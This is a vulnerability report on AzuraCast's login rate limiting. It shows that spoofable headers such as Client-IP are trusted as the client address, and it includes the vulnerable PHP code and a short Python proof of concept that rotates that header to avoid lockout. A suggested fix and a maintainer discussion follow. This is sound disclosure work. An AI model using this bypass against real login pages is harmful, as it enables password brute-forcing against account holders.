Broken Rate Limiting in azuracast/azuracast
Reported on
Apr 21st 2023
Description
The request rate limiting feature on the login page can be bypassed.
If we look at the code in src/Controller/Frontend/Account/LoginAction.php
$this->rateLimit->checkRequestRateLimit($request, 'login', 30, 5);
We see that checkRequestRateLimit()
is invoked with a restriction of a maxmimum of 5 requests per 30 seconds.
Looking at some of the code from src/RateLimit.php
public function checkRequestRateLimit(
ServerRequest $request,
string $groupName,
int $interval = 5,
int $limit = 2
): void {
if ($this->environment->isTesting() || $this->environment->isCli()) {
return;
}
$ipKey = str_replace([':', '.'], '_', $request->getIp());
$this->checkRateLimit($groupName, $ipKey, $interval, $limit);
}
and
public function checkRateLimit(
string $groupName,
string $key,
int $interval = 5,
int $limit = 2
): void {
$cacheStore = new CacheStorage($this->psr6Cache);
$config = [
'id' => 'ratelimit.' . $groupName,
'policy' => 'sliding_window',
'interval' => $interval . ' seconds',
'limit' => $limit,
];
$rateLimiterFactory = new RateLimiterFactory($config, $cacheStore, $this->lockFactory);
$rateLimiter = $rateLimiterFactory->create($key);
if (!$rateLimiter->consume()->isAccepted()) {
throw new Exception\RateLimitExceededException();
}
}
We see that the create()
function is called with a key value originating from the function $request->getIp()
or ServerRequest::getIp()
public function getIp(): string
{
$params = $this->serverRequest->getServerParams();
$ip = $params['HTTP_CLIENT_IP']
?? $params['HTTP_X_FORWARDED_FOR']
?? $params['HTTP_X_FORWARDED']
?? $params['HTTP_FORWARDED_FOR']
?? $params['HTTP_FORWARDED']
?? $params['REMOTE_ADDR']
?? null;
if (null === $ip) {
throw new RuntimeException('No IP address attached to this request.');
}
// Handle the IP being separated by commas.
$ipParts = explode(',', $ip);
$ip = array_shift($ipParts);
return trim($ip);
}
Notice how this function first checks for a value inside non-default headers like Client-IP
or X-Forwarded-For
which can contain arbitrary contents. This allows an attacker to randomly generate a new value for any of these headers on each subsequent request to completely bypass the rate-limiting.
Proof of Concept
Run the following python script against an installation of AzuraCast and see how the second loop, which introduces a random Client-IP
header on every request never hits the rate-limiting exception while the first one does after 5 tries (as expected):
#!/usr/bin/env python3
import requests
login_url = "http://localhost/login"
data = {"username":"root@localhost.local", "password": "xxx"}
for i in range(0,100):
print(i)
r = requests.post(login_url, data=data)
if "You have attempted" in r.text:
print(f"hit rate limiting after {i} tries")
break
# now try with a randomized CLIENT_IP header
for i in range(0,100):
print(i)
headers = {"Client-Ip" : str(i)}
print(headers)
r = requests.post(login_url, data=data, headers=headers)
if "You have attempted" in r.text:
print(f"hit rate limiting after {i} tries")
exit()
Fix
Either completely remove reliance on any header besides REMOTE_ADDR (since that is set to the actual IP address of the incoming request by PHP) or only trust the other non-standard headers IF and ONLY IF a setting is enabled that indicates a reverse proxy is being used, in that case you can trust the values passed in these headers.
Impact
An attacker might be able to bruteforce login data.
Occurrences
Thank you for your submission! Honestly, this was well-written, cites relevant sections in our code, and is indeed a completely valid issue to report.
There's a struggle with apps like ours that I'm sure you can gather from your research. We build self-hosted software, but we have to account for every possible hosting scenario "out of the box". That's why we went with this route, as it would then allow users to be sitting behind Cloudflare or their own reverse proxies with no additional work in setting up the app. That would mean fewer people clogging up our support lines and saying things are broken, when really it's just down to how they set it up.
Your suggestion to make it a simple "Are you using anything in front of this web server, yes/no" thing is probably a good compromise in my opinion. Maybe we could even expand that setting to be "No/Yes (Cloudflare)/Yes (Other)" to ensure an even larger cross-section of people would have a reasonably secure experience while allowing exceptions.
I marked this as "seen" because I'm giving some thought into the most elegant and user-friendly way of confronting this issue in our UI/UX.
Thank you for the quick response! I absolutely understand where you're coming from. At the end of the day, we're trying to make software more secure.
From my humble 'security researcher' perspective the big problem here is that by-default (meaning a default installation, through docker for example) these headers are treated as trusted, while they shouldn't be.
I understand that this can easily lead to other issues with slightly non-default installations, like people using cloudflare or running some other kind of reverse proxy which takes care of 'sanitizing' these headers
Thats exactly the idea behind my suggestion: make sure all of these headers are treated as untrusted by default, until the administrator explicitly changes a setting that marks these headers as trusted.
Practically my suggestion would be to introduce a simple 'toggle' yes/no option during the installation process that asks if the instance is going to be run behind any kind of reverse proxy.